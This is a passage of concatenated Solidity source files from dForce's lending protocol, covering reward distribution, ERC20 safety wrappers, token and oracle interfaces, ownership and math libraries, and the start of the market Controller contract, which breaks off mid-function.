require(controller.hasiToken(_iToken), "Token has not been listed"); DistributionState storage state = _isBorrow ? distributionBorrowState[_iToken] : distributionSupplyState[_iToken]; uint256 _speed = _isBorrow ? distributionSpeed[_iToken] : distributionSupplySpeed[_iToken]; uint256 _blockNumber = block.number; uint256 _deltaBlocks = _blockNumber.sub(state.block); if (_deltaBlocks > 0 && _speed > 0) { uint256 _totalToken = _isBorrow ? IiToken(_iToken).totalBorrows().rdiv( IiToken(_iToken).borrowIndex() ) : IERC20Upgradeable(_iToken).totalSupply(); uint256 _totalDistributed = _speed.mul(_deltaBlocks); // Reward distributed per token since last time uint256 _distributedPerToken = _totalToken > 0 ? _totalDistributed.rdiv(_totalToken) : 0; state.index = state.index.add(_distributedPerToken); } state.block = _blockNumber; } /** * @notice Update the account's Reward distribution state * @dev Will be called every time when the account's supply/borrow changes * @param _iToken The iToken to be updated * @param _account The account to be updated * @param _isBorrow whether to update the borrow state */ function updateReward( address _iToken, address _account, bool _isBorrow ) external override { _updateReward(_iToken, _account, _isBorrow); } function _updateReward( address _iToken, address _account, bool _isBorrow ) internal { require(_account != address(0), "Invalid account address!"); require(controller.hasiToken(_iToken), "Token has not been listed"); uint256 _iTokenIndex; uint256 _accountIndex; uint256 _accountBalance; if (_isBorrow) { _iTokenIndex = distributionBorrowState[_iToken].index; _accountIndex = distributionBorrowerIndex[_iToken][_account]; _accountBalance = IiToken(_iToken) .borrowBalanceStored(_account) .rdiv(IiToken(_iToken).borrowIndex()); // Update the account state to date distributionBorrowerIndex[_iToken][_account] = _iTokenIndex; } else { _iTokenIndex = distributionSupplyState[_iToken].index; _accountIndex = distributionSupplierIndex[_iToken][_account]; _accountBalance = IERC20Upgradeable(_iToken).balanceOf(_account); // Update the account state to date distributionSupplierIndex[_iToken][_account] = _iTokenIndex; } uint256 _deltaIndex = _iTokenIndex.sub(_accountIndex); uint256 _amount = _accountBalance.rmul(_deltaIndex); if (_amount > 0) { reward[_account] = reward[_account].add(_amount); emit RewardDistributed(_iToken, _account, _amount, _accountIndex); } } /** * @notice Update reward accrued in iTokens by the holders regardless of paused or not * @param _holders The account to update * @param _iTokens The _iTokens to update */ function updateRewardBatch( address[] memory _holders, address[] memory _iTokens ) public override { // Update rewards for all _iTokens for holders for (uint256 i = 0; i < _iTokens.length; i++) { address _iToken = _iTokens[i]; _updateDistributionState(_iToken, false); _updateDistributionState(_iToken, true); for (uint256 j = 0; j < _holders.length; j++) { _updateReward(_iToken, _holders[j], false); _updateReward(_iToken, _holders[j], true); } } } /** * @notice Update reward accrued in iTokens by the holders regardless of paused or not * @param _holders The account to update * @param _iTokens The _iTokens to update * @param _isBorrow whether to update the borrow state */ function _updateRewards( address[] memory _holders, address[] memory _iTokens, bool _isBorrow ) internal { // Update rewards for all _iTokens for holders for (uint256 i = 0; i < _iTokens.length; i++) { address _iToken = _iTokens[i]; _updateDistributionState(_iToken, _isBorrow); for (uint256 j = 0; j < _holders.length; j++) { _updateReward(_iToken, _holders[j], _isBorrow); } } } /** * @notice Claim reward accrued in iTokens by the holders * @param _holders The account to claim for * @param _iTokens The _iTokens to claim from */ function claimReward(address[] memory _holders, address[] memory _iTokens) public override { updateRewardBatch(_holders, _iTokens); // Withdraw all reward for all holders for (uint256 j = 0; j < _holders.length; j++) { address _account = _holders[j]; uint256 _reward = reward[_account]; if (_reward > 0) { reward[_account] = 0; IERC20Upgradeable(rewardToken).safeTransfer(_account, _reward); } } } /** * @notice Claim reward accrued in iTokens by the holders * @param _holders The account to claim for * @param _suppliediTokens The _suppliediTokens to claim from * @param _borrowediTokens The _borrowediTokens to claim from */ function claimRewards( address[] memory _holders, address[] memory _suppliediTokens, address[] memory _borrowediTokens ) external override { _updateRewards(_holders, _suppliediTokens, false); _updateRewards(_holders, _borrowediTokens, true); // Withdraw all reward for all holders for (uint256 j = 0; j < _holders.length; j++) { address _account = _holders[j]; uint256 _reward = reward[_account]; if (_reward > 0) { reward[_account] = 0; IERC20Upgradeable(rewardToken).safeTransfer(_account, _reward); } } } /** * @notice Claim reward accrued in all iTokens by the holders * @param _holders The account to claim for */ function claimAllReward(address[] memory _holders) external override { claimReward(_holders, controller.getAlliTokens()); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } //SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IInterestRateModelInterface.sol"; import "./IControllerInterface.sol"; interface IiToken { function isSupported() external returns (bool); function isiToken() external returns (bool); //---------------------------------- //********* User Interface ********* //---------------------------------- function mint(address recipient, uint256 mintAmount) external; function mintAndEnterMarket(address recipient, uint256 mintAmount) external; function redeem(address from, uint256 redeemTokens) external; function redeemUnderlying(address from, uint256 redeemAmount) external; function borrow(uint256 borrowAmount) external; function repayBorrow(uint256 repayAmount) external; function repayBorrowBehalf(address borrower, uint256 repayAmount) external; function liquidateBorrow( address borrower, uint256 repayAmount, address iTokenCollateral ) external; function flashloan( address recipient, uint256 loanAmount, bytes memory data ) external; function seize( address _liquidator, address _borrower, uint256 _seizeTokens ) external; function updateInterest() external returns (bool); function controller() external view returns (address); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function totalBorrowsCurrent() external returns (uint256); function totalBorrows() external view returns (uint256); function borrowBalanceCurrent(address _user) external returns (uint256); function borrowBalanceStored(address _user) external view returns (uint256); function borrowIndex() external view returns (uint256); function getAccountSnapshot(address _account) external view returns ( uint256, uint256, uint256 ); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function getCash() external view returns (uint256); //---------------------------------- //********* Owner Actions ********** //---------------------------------- function _setNewReserveRatio(uint256 _newReserveRatio) external; function _setNewFlashloanFeeRatio(uint256 _newFlashloanFeeRatio) external; function _setNewProtocolFeeRatio(uint256 _newProtocolFeeRatio) external; function _setController(IControllerInterface _newController) external; function _setInterestRateModel( IInterestRateModelInterface _newInterestRateModel ) external; function _withdrawReserves(uint256 _withdrawAmount) external; } //SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IRewardDistributorV3 { function _setRewardToken(address newRewardToken) external; /// @notice Emitted reward token address is changed by admin event NewRewardToken(address oldRewardToken, address newRewardToken); function _addRecipient(address _iToken, uint256 _distributionFactor) external; event NewRecipient(address iToken, uint256 distributionFactor); /// @notice Emitted when mint is paused/unpaused by admin event Paused(bool paused); function _pause() external; function _unpause( address[] calldata _borrowiTokens, uint256[] calldata _borrowSpeeds, address[] calldata _supplyiTokens, uint256[] calldata _supplySpeeds ) external; /// @notice Emitted when Global Distribution speed for both supply and borrow are updated event GlobalDistributionSpeedsUpdated( uint256 borrowSpeed, uint256 supplySpeed ); /// @notice Emitted when iToken's Distribution borrow speed is updated event DistributionBorrowSpeedUpdated(address iToken, uint256 borrowSpeed); /// @notice Emitted when iToken's Distribution supply speed is updated event DistributionSupplySpeedUpdated(address iToken, uint256 supplySpeed); /// @notice Emitted when iToken's Distribution factor is changed by admin event NewDistributionFactor( address iToken, uint256 oldDistributionFactorMantissa, uint256 newDistributionFactorMantissa ); function updateDistributionState(address _iToken, bool _isBorrow) external; function updateReward( address _iToken, address _account, bool _isBorrow ) external; function updateRewardBatch( address[] memory _holders, address[] memory _iTokens ) external; function claimReward(address[] memory _holders, address[] memory _iTokens) external; function claimAllReward(address[] memory _holders) external; function claimRewards(address[] memory _holders, address[] memory _suppliediTokens, address[] memory _borrowediTokens) external; /// @notice Emitted when reward of amount is distributed into account event RewardDistributed( address iToken, address account, uint256 amount, uint256 accountIndex ); } //SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IiToken.sol"; interface IPriceOracle { /** * @notice Get the underlying price of a iToken asset * @param _iToken The iToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(address _iToken) external view returns (uint256); /** * @notice Get the price of a underlying asset * @param _iToken The iToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable and whether the price is valid. */ function getUnderlyingPriceAndStatus(address _iToken) external view returns (uint256, bool); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require( !_initialized, "Initializable: contract is already initialized" ); _; _initialized = true; } } //SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {_setPendingOwner} and {_acceptOwner}. */ contract Ownable { /** * @dev Returns the address of the current owner. */ address payable public owner; /** * @dev Returns the address of the current pending owner. */ address payable public pendingOwner; event NewOwner(address indexed previousOwner, address indexed newOwner); event NewPendingOwner( address indexed oldPendingOwner, address indexed newPendingOwner ); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "onlyOwner: caller is not the owner"); _; } /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal { owner = msg.sender; emit NewOwner(address(0), msg.sender); } /** * @notice Base on the inputing parameter `newPendingOwner` to check the exact error reason. * @dev Transfer contract control to a new owner. The newPendingOwner must call `_acceptOwner` to finish the transfer. * @param newPendingOwner New pending owner. */ function _setPendingOwner(address payable newPendingOwner) external onlyOwner { require( newPendingOwner != address(0) && newPendingOwner != pendingOwner, "_setPendingOwner: New owenr can not be zero address and owner has been set!" ); // Gets current owner. address oldPendingOwner = pendingOwner; // Sets new pending owner. pendingOwner = newPendingOwner; emit NewPendingOwner(oldPendingOwner, newPendingOwner); } /** * @dev Accepts the admin rights, but only for pendingOwenr. */ function _acceptOwner() external { require( msg.sender == pendingOwner, "_acceptOwner: Only for pending owner!" ); // Gets current values for events. address oldOwner = owner; address oldPendingOwner = pendingOwner; // Set the new contract owner. owner = pendingOwner; // Clear the pendingOwner. pendingOwner = address(0); emit NewOwner(oldOwner, owner); emit NewPendingOwner(oldPendingOwner, pendingOwner); } uint256[50] private __gap; } //SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; library SafeRatioMath { using SafeMathUpgradeable for uint256; uint256 private constant BASE = 10**18; uint256 private constant DOUBLE = 10**36; function divup(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x.add(y.sub(1)).div(y); } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x.mul(y).div(BASE); } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x.mul(BASE).div(y); } function rdivup(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x.mul(BASE).add(y.sub(1)).div(y); } function tmul( uint256 x, uint256 y, uint256 z ) internal pure returns (uint256 result) { result = x.mul(y).mul(z).div(DOUBLE); } function rpow( uint256 x, uint256 n, uint256 base ) internal pure returns (uint256 z) { assembly { switch x case 0 { switch n case 0 { z := base } default { z := 0 } } default { switch mod(n, 2) case 0 { z := base } default { z := x } let half := div(base, 2) // for rounding. for { n := div(n, 2) } n { n := div(n, 2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0, 0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0, 0) } x := div(xxRound, base) if mod(n, 2) { let zx := mul(z, x) if and( iszero(iszero(x)), iszero(eq(div(zx, x), z)) ) { revert(0, 0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0, 0) } z := div(zxRound, base) } } } } } } //SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol"; import "./interface/IControllerInterface.sol"; import "./interface/IPriceOracle.sol"; import "./interface/IiToken.sol"; import "./interface/IRewardDistributor.sol"; import "./library/Initializable.sol"; import "./library/Ownable.sol"; import "./library/SafeRatioMath.sol"; /** * @title dForce's lending controller Contract * @author dForce */ contract Controller is Initializable, Ownable, IControllerInterface { using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using SafeRatioMath for uint256; using SafeMathUpgradeable for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; /// @dev EnumerableSet of all iTokens EnumerableSetUpgradeable.AddressSet internal iTokens; struct Market { /* * Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be in [0, 0.9], and stored as a mantissa. */ uint256 collateralFactorMantissa; /* * Multiplier representing the most one can borrow the asset. * For instance, 0.5 to allow borrowing this asset 50% * collateral value * collateralFactor. * When calculating equity, 0.5 with 100 borrow balance will produce 200 borrow value * Must be between (0, 1], and stored as a mantissa. */ uint256 borrowFactorMantissa; /* * The borrow capacity of the asset, will be checked in beforeBorrow() * -1 means there is no limit on the capacity * 0 means the asset can not be borrowed any more */ uint256 borrowCapacity; /* * The supply capacity of the asset, will be checked in beforeMint() * -1 means there is no limit on the capacity * 0 means the asset can not be supplied any more */ uint256 supplyCapacity; // Whether market's mint is paused bool mintPaused; // Whether market's redeem is paused bool redeemPaused; // Whether market's borrow is paused bool borrowPaused; } /// @notice Mapping of iTokens to corresponding markets mapping(address => Market) public markets; struct AccountData { // Account's collateral assets EnumerableSetUpgradeable.AddressSet collaterals; // Account's borrowed assets EnumerableSetUpgradeable.AddressSet borrowed; } /// @dev Mapping of accounts' data, including collateral and borrowed assets mapping(address => AccountData) internal accountsData; /** * @notice Oracle to query the price of a given asset */ address public priceOracle; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint256 public closeFactorMantissa; // closeFactorMantissa must be strictly greater than this value uint256 internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint256 internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 /** * @notice Multiplier representing the discount on collateral that a liquidator receives */ uint256 public liquidationIncentiveMantissa; // liquidationIncentiveMantissa must be no less than this value uint256 internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint256 internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 // collateralFactorMantissa must not exceed this value uint256 internal constant collateralFactorMaxMantissa = 1e18; // 1.0 // borrowFactorMantissa must not exceed this value uint256 internal constant borrowFactorMaxMantissa = 1e18; // 1.0 /** * @notice Guardian who can pause mint/borrow/liquidate/transfer in case of emergency */ address public pauseGuardian; /// @notice whether global transfer is paused bool public transferPaused; /// @notice whether global seize is paused bool public seizePaused; /** * @notice the address of reward distributor */ address public rewardDistributor; /** * @dev Check if called by owner or pauseGuardian, and only owner can unpause */ modifier checkPauser(bool _paused) { require( msg.sender == owner || (msg.sender == pauseGuardian && _paused), "Only owner and guardian can pause and only owner can unpause" ); _; } /** * @notice Initializes the contract. */ function initialize() external initializer { __Ownable_init(); } /*********************************/ /******** Security Check *********/ /*********************************/ /** * @notice Ensure this is a Controller contract. */ function isController() external view override returns (bool) { return true; } /*********************************/ /******** Admin Operations *******/ /*********************************/ /** * @notice Admin function to add iToken into supported markets * Checks if the iToken already exsits * Will `revert()` if any check fails * @param _iToken The _iToken to add * @param _collateralFactor The _collateralFactor of _iToken * @param _borrowFactor The _borrowFactor of _iToken * @param _supplyCapacity The _supplyCapacity of _iToken * @param _distributionFactor The _distributionFactor of _iToken */ function _addMarket( address _iToken, uint256 _collateralFactor, uint256 _borrowFactor, uint256 _supplyCapacity, uint256 _borrowCapacity, uint256 _distributionFactor ) external override onlyOwner { require(IiToken(_iToken).isSupported(), "Token is not supported"); // Market must not have been listed, EnumerableSet.add() will return false if it exsits require(iTokens.add(_iToken), "Token has already been listed"); require( _collateralFactor <= collateralFactorMaxMantissa, "Collateral factor invalid" ); require( _borrowFactor > 0 && _borrowFactor <= borrowFactorMaxMantissa, "Borrow factor invalid" ); // Its value will be taken into account when calculate account equity // Check if the price is available for the calculation require( IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0, "Underlying price is unavailable" ); markets[_iToken] = Market({ collateralFactorMantissa: _collateralFactor, borrowFactorMantissa: _borrowFactor, borrowCapacity: _borrowCapacity, supplyCapacity: _supplyCapacity, mintPaused: false, redeemPaused: false, borrowPaused: false }); IRewardDistributor(rewardDistributor)._addRecipient( _iToken, _distributionFactor ); emit MarketAdded( _iToken, _collateralFactor, _borrowFactor, _supplyCapacity, _borrowCapacity, _distributionFactor ); } /** * @notice Sets price oracle * @dev Admin function to set price oracle * @param _newOracle New oracle contract */ function _setPriceOracle(address _newOracle) external override onlyOwner { address _oldOracle = priceOracle; require( _newOracle != address(0) && _newOracle != _oldOracle, "Oracle address invalid" ); priceOracle = _newOracle; emit NewPriceOracle(_oldOracle, _newOracle); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param _newCloseFactorMantissa New close factor, scaled by 1e18 */ function _setCloseFactor(uint256 _newCloseFactorMantissa) external override onlyOwner { require( _newCloseFactorMantissa >= closeFactorMinMantissa && _newCloseFactorMantissa <= closeFactorMaxMantissa, "Close factor invalid" ); uint256 _oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = _newCloseFactorMantissa; emit NewCloseFactor(_oldCloseFactorMantissa, _newCloseFactorMantissa); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param _newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 */ function _setLiquidationIncentive(uint256 _newLiquidationIncentiveMantissa) external override onlyOwner { require( _newLiquidationIncentiveMantissa >= liquidationIncentiveMinMantissa && _newLiquidationIncentiveMantissa <= liquidationIncentiveMaxMantissa, "Liquidation incentive invalid" ); uint256 _oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; liquidationIncentiveMantissa = _newLiquidationIncentiveMantissa; emit NewLiquidationIncentive( _oldLiquidationIncentiveMantissa, _newLiquidationIncentiveMantissa ); } /** * @notice Sets the collateralFactor for a iToken * @dev Admin function to set collateralFactor for a iToken * @param _iToken The token to set the factor on * @param _newCollateralFactorMantissa The new collateral factor, scaled by 1e18 */ function _setCollateralFactor( address _iToken, uint256 _newCollateralFactorMantissa ) external override onlyOwner { _checkiTokenListed(_iToken); require( _newCollateralFactorMantissa <= collateralFactorMaxMantissa, "Collateral factor invalid" ); // Its value will be taken into account when calculate account equity // Check if the price is available for the calculation require( IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0, "Failed to set collateral factor, underlying price is unavailable" ); Market storage _market = markets[_iToken]; uint256 _oldCollateralFactorMantissa = _market.collateralFactorMantissa; _market.collateralFactorMantissa = _newCollateralFactorMantissa; emit NewCollateralFactor( _iToken, _oldCollateralFactorMantissa, _newCollateralFactorMantissa ); } /** * @notice Sets the borrowFactor for a iToken * @dev Admin function to set borrowFactor for a iToken * @param _iToken The token to set the factor on * @param _newBorrowFactorMantissa The new borrow factor, scaled by 1e18 */ function _setBorrowFactor(address _iToken, uint256 _newBorrowFactorMantissa) external override onlyOwner { _checkiTokenListed(_iToken); require( _newBorrowFactorMantissa > 0 && _newBorrowFactorMantissa <= borrowFactorMaxMantissa, "Borrow factor invalid" ); // Its value will be taken into account when calculate account equity // Check if the price is available for the calculation require( IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0, "Failed to set borrow factor, underlying price is unavailable" ); Market storage _market = markets[_iToken]; uint256 _oldBorrowFactorMantissa = _market.borrowFactorMantissa; _market.borrowFactorMantissa = _newBorrowFactorMantissa; emit NewBorrowFactor( _iToken, _oldBorrowFactorMantissa, _newBorrowFactorMantissa ); } /** * @notice Sets the borrowCapacity for a iToken * @dev Admin function to set borrowCapacity for a iToken * @param _iToken The token to set the capacity on * @param _newBorrowCapacity The new borrow capacity */ function _setBorrowCapacity(address _iToken, uint256 _newBorrowCapacity) external override onlyOwner { _checkiTokenListed(_iToken); Market storage _market = markets[_iToken]; uint256 oldBorrowCapacity = _market.borrowCapacity; _market.borrowCapacity = _newBorrowCapacity; emit NewBorrowCapacity(_iToken, oldBorrowCapacity, _newBorrowCapacity); } /** * @notice Sets the supplyCapacity for a iToken * @dev Admin function to set supplyCapacity for a iToken * @param _iToken The token to set the capacity on * @param _newSupplyCapacity The new supply capacity */ function _setSupplyCapacity(address _iToken, uint256 _newSupplyCapacity) external override onlyOwner { _checkiTokenListed(_iToken); Market storage _market = markets[_iToken]; uint256 oldSupplyCapacity = _market.supplyCapacity; _market.supplyCapacity = _newSupplyCapacity; emit NewSupplyCapacity(_iToken, oldSupplyCapacity, _newSupplyCapacity); } /** * @notice Sets the pauseGuardian * @dev Admin function to set pauseGuardian * @param _newPauseGuardian The new pause guardian */ function _setPauseGuardian(address _newPauseGuardian) external override onlyOwner { address _oldPauseGuardian = pauseGuardian; require( _newPauseGuardian != address(0) && _newPauseGuardian != _oldPauseGuardian, "Pause guardian address invalid" ); pauseGuardian = _newPauseGuardian; emit NewPauseGuardian(_oldPauseGuardian, _newPauseGuardian); } /** * @notice pause/unpause mint() for all iTokens * @dev Admin function, only owner and pauseGuardian can call this * @param _paused whether to pause or unpause */ function _setAllMintPaused(bool _paused) external override checkPauser(_paused) { EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens; uint256 _len = _iTokens.length(); for (uint256 i = 0; i < _len; i++) { _setMintPausedInternal(_iTokens.at(i), _paused); } } /** * @notice pause/unpause mint() for the iToken * @dev Admin function, only owner and pauseGuardian can call this * @param _iToken The iToken to pause/unpause * @param _paused whether to pause or unpause */ function _setMintPaused(address _iToken, bool _paused) external override checkPauser(_paused) { _checkiTokenListed(_iToken); _setMintPausedInternal(_iToken, _paused); } function _setMintPausedInternal(address _iToken, bool _paused) internal { markets[_iToken].mintPaused = _paused; emit MintPaused(_iToken, _paused); } /** * @notice pause/unpause redeem() for all iTokens * @dev Admin function, only owner and pauseGuardian can call this * @param _paused whether to pause or unpause */ function _setAllRedeemPaused(bool _paused) external override checkPauser(_paused) { EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens; uint256 _len = _iTokens.length(); for (uint256 i = 0; i < _len; i++) { _setRedeemPausedInternal(_iTokens.at(i), _paused); } } /** * @notice pause/unpause redeem() for the iToken * @dev Admin function, only owner and pauseGuardian can call this * @param _iToken The iToken to pause/unpause * @param _paused whether to pause or unpause */ function _setRedeemPaused(address _iToken, bool _paused) external override checkPauser(_paused) { _checkiTokenListed(_iToken); _setRedeemPausedInternal(_iToken, _paused); } function _setRedeemPausedInternal(address _iToken, bool _paused) internal { markets[_iToken].redeemPaused = _paused; emit RedeemPaused(_iToken, _paused); } /** * @notice pause/unpause borrow() for all iTokens * @dev Admin function, only owner and pauseGuardian can call this * @param _paused whether to pause or unpause */ function _setAllBorrowPaused(bool _paused) external override checkPauser(_paused) { EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens; uint256 _len = _iTokens.length(); for (uint256 i = 0; i < _len; i++) { _setBorrowPausedInternal(_iTokens.at(i), _paused); } } /** * @notice pause/unpause borrow() for the iToken * @dev Admin function, only owner and pauseGuardian can call this * @param _iToken The iToken to pause/unpause * @param _paused whether to pause or unpause */ function _setBorrowPaused(address _iToken, bool _paused) external override checkPauser(_paused) { _checkiTokenListed(_iToken); _setBorrowPausedInternal(_iToken, _paused); } function _setBorrowPausedInternal(address _iToken, bool _paused) internal { markets[_iToken].borrowPaused = _paused; emit BorrowPaused(_iToken, _paused); } /** * @notice pause/unpause global transfer() * @dev Admin function, only owner and pauseGuardian can call this * @param _paused whether to pause or unpause */ function _setTransferPaused(bool _paused) external override checkPauser(_paused) { _setTransferPausedInternal(_paused); } function _setTransferPausedInternal(bool _paused) internal { transferPaused = _paused; emit TransferPaused(_paused); } /** * @notice pause/unpause global seize() * @dev Admin function, only owner and pauseGuardian can call this * @param _paused whether to pause or unpause */ function _setSeizePaused(bool _paused) external override checkPauser(_paused) { _setSeizePausedInternal(_paused); } function _setSeizePausedInternal(bool _paused) internal { seizePaused = _paused; emit SeizePaused(_paused); } /** * @notice pause/unpause all actions iToken, including mint/redeem/borrow * @dev Admin function, only owner and pauseGuardian can call this * @param _paused whether to pause or unpause */ function _setiTokenPaused(address _iToken, bool _paused) external override checkPauser(_paused) { _checkiTokenListed(_iToken); _setiTokenPausedInternal(_iToken, _paused); } function _setiTokenPausedInternal(address _iToken, bool _paused) internal { Market storage _market = markets[_iToken]; _market.mintPaused = _paused; emit MintPaused(_iToken, _paused); _market.redeemPaused = _paused; emit RedeemPaused(_iToken, _paused); _market.borrowPaused = _paused; emit BorrowPaused(_iToken, _paused); } /** * @notice pause/unpause entire protocol, including mint/redeem/borrow/seize/transfer * @dev Admin function, only owner and pauseGuardian can call this * @param _paused whether to pause or unpause */ function _setProtocolPaused(bool _paused) external override checkPauser(_paused) { EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens; uint256 _len = 